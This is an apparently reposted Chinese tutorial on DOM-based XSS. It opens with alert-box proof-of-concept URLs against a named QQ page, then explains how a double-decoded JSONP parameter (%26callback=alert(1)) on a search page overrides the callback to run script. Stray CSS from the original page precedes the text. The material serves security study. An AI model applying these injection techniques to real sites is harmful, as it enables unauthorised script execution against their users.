IE: helper.qq/appweb/tools/tool-detail.shtml?turl=vbscript:msgbox(1)'&gid=yl&cid=68&from=
Chrome: helper.qq/appweb/tools/tool-detail.shtml?turl=data:text/html,<script>alert(1)</script>'&gid=yl&cid=68&from=
p.p1 {margin: 0.0px 0.0px 0.0px 60.0px; text-indent: -19.2px; font: 16.0px Courier; color: #66cccc}p.p2 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #cccccc; min-height: 19.0px}p.p3 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px 'PingFang SC'; color: #cccccc}p.p4 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #999999}p.p5 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #e6424b}p.p6 {margin: 0.0px
0.0px 0.0px 60.0px; font: 16.0px Courier; color: #cccccc}p.p7 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #999999; min-height: 19.0px}p.p8 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color:
#cc99cc}span.s1 {font: 16.0px 'PingFang SC'}span.s2 {font: 16.0px Courier}span.s3 {color: #999999}span.s4 {color: #c33795}span.s5 {color: #233fd0}span.s6 {color: #e6424b}span.s7 {color: #8b86c9}
**# DOM XSS****奥义**** **
有没有什么网站分享源码⼀些我们普遍了解的XSS 基本已经让⼤部分开发者们警醒,也都做了⾜够充分的教训,所以想要像以前那样随意的挖洞就不可能了,但是XSS 是⽆穷的,只要能深⼊源码,总会有所发现。
常常程序会动态加载json 数据,同域可以⽤ajax,⽽不同域时,就需要跨域请求,有⼀种⽅法是jsonp,利⽤callback回调完成跨域,⽽在调⽤外部数据的时候还会带上⼀些参数,⽽如果这些参数可控,我们就可以试图去挖掘漏洞。
对于跨域的请求来说,最常见的形式是这样:
somescript.src="otherdomain/xx?jsonp=callback"
⽽为了⽅便,callback 后边会带上⼀些参数,有⼀些参数是⽤户可控的,那时候,就会造成困扰了:
somescript.src="otherdomain/xx?jsonp=callback&id="+id;
如果其中的ID 可控,那就很有可能会带来问题,这算是⼀种地址可控,⽽地址可控分为三种形式:
⼀种是,完全可控,也就是src 后边的内容可以直接替换掉,这种可以直接利⽤,替换成我们的JS 地址。
⼀种是部分可控:
script src="/path/xxx/[路径可控]/1.js"
这种情况下⼀般是在同域下寻⼀个有漏洞的上传点,上传些⽂件什么的,以便利⽤。
第三种情况是参数可控:
script src="/xxxx/json.php?callback=xxxx¶m1=yyy¶m2=[参数可控]"
经过简单在这个页⾯测试,我们可以发现,其中的callback, dtag, ranking 是可控的。不过可控的元素还是会被过滤的,⽐如常见的尖括号就⼀定会被过滤。
因为dtag,ranking 是放在双引号⾥的,过滤了双引号,基本很难有可以应⽤的地⽅。⽽callback 则不是,如果能构造⼀个callback=alert(1) ,就可以执⾏XSS,不过在我们发现写在⼀开始的callback 并不能直接去改变值来控制它,我们可以想办法通过后边可控的参数,⽤&来分隔后再来⼀个callback=alert(1)来覆盖前边的callback。
不过⼀般来说,如果你在构造URL 的时候,如果使⽤了&,那就会直接认为你这是分隔符,这个⽅法就失效了。⽽如果我们试图使⽤%26 这个URL 编码来代替,但是它在传递的时候,并不会解码,所以也不会让服务器解析的时候才认定他是分隔符。
所以,只能去从源码⾥漏洞,我们到他的search.js脚本,定位到那⼀块观察上下⽂:
function init() {
var keyword = decodeURIComp($getQuery('keyword')),
type = $getQuery('type'),
searchtype = $getQuery('searchtype');
option.keyword = keyword;
option.classId = type;
option.searchType = searchtype || option.searchType;
option.beginPrice = $getQuery('bp');
option.NewProp = $getQuery('np') || $getQuery('newprop');
option.property = $getQuery('pro') || option.property;
option.cid = $getQuery('cid');
option.Paytype = $getQuery('pt') || option.Paytype;
option.hongbaoKeyword = $getQuery('hb');
option.showType = $getQuery('show') || option.showType;
option.address = decodeURIComp($getQuery('adr'));
option.hideKeyword = $getQuery('hkwd') == "true" ? true: false;
option.ptag.currentPage = $getQuery('ptag') || $getQuery('PTAG');
var pageIndex = $getQuery('pi'),
pageSize = $getQuery('ps');
option.pageIndex = (pageIndex && $isPInt(pageIndex)) ? pageIndex * 1: option.pageIndex;
option.pageSize = (pageSize && $isPInt(pageSize)) ? pageSize * 1: option.pageSize;
};
这⾥的脚本,就是jason参数和当前页⾯获得参数的⼀些关系,⽽其中有⼀个函数让我们看到了希望: decodeURLComp,它在传进来的时候,会被解码⼀次,有⽊有想起什么。对于这个keyword,如果我们使⽤了URL 编码传%26进去,他会解码成&,那么我们直接使⽤%26callback=alert(1),那就可以会被解码成⼀个分隔符,然后出发我们的漏洞。
抓个包,可以看到接收的json 数据已经得到改变:
弹窗就是⾃然的了。
其实,这个漏洞已经显得有些运⽓成分了,也可以说是开发者在业务的逻辑关系变得复杂之后,往往就缺乏⾜够的安全意识,去处理这些跨域安全问题了,往往在源码上,会造成⼀些漏洞。上边的例⼦我们也能看到,本⾝在过滤的逻辑上,已经很难寻漏洞,但是因为开发者在处理流程的时候,没有去思考它可能的上下⽂关系,也就主动创造了⼀个漏洞出来。
DOM XSS 的内容,⼤概也就这么多了。在DOM XSS 漏洞的挖掘中,最常⽤的⾃动化挖掘⽅式,其实就是利⽤爬⾍和抓包重放,爬⾍通过遍历某⽹站的各种结构URL,然后抓包重放去构造独特的字符替换掉URL中那些可控的参数,通过服务器返回的状态,和内容,去挖掘可能存在的不安全因素。
⽽挖掘到不安全因素,只是XSS 最早的第⼀步,现在,那些最常见的漏洞已经基本销声匿迹,需要的是通过分析源码,寻某个点的上下⽂关系,通过理清逻辑关系,寻开发者在其中的疏漏,才能创造出合适的XSS。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。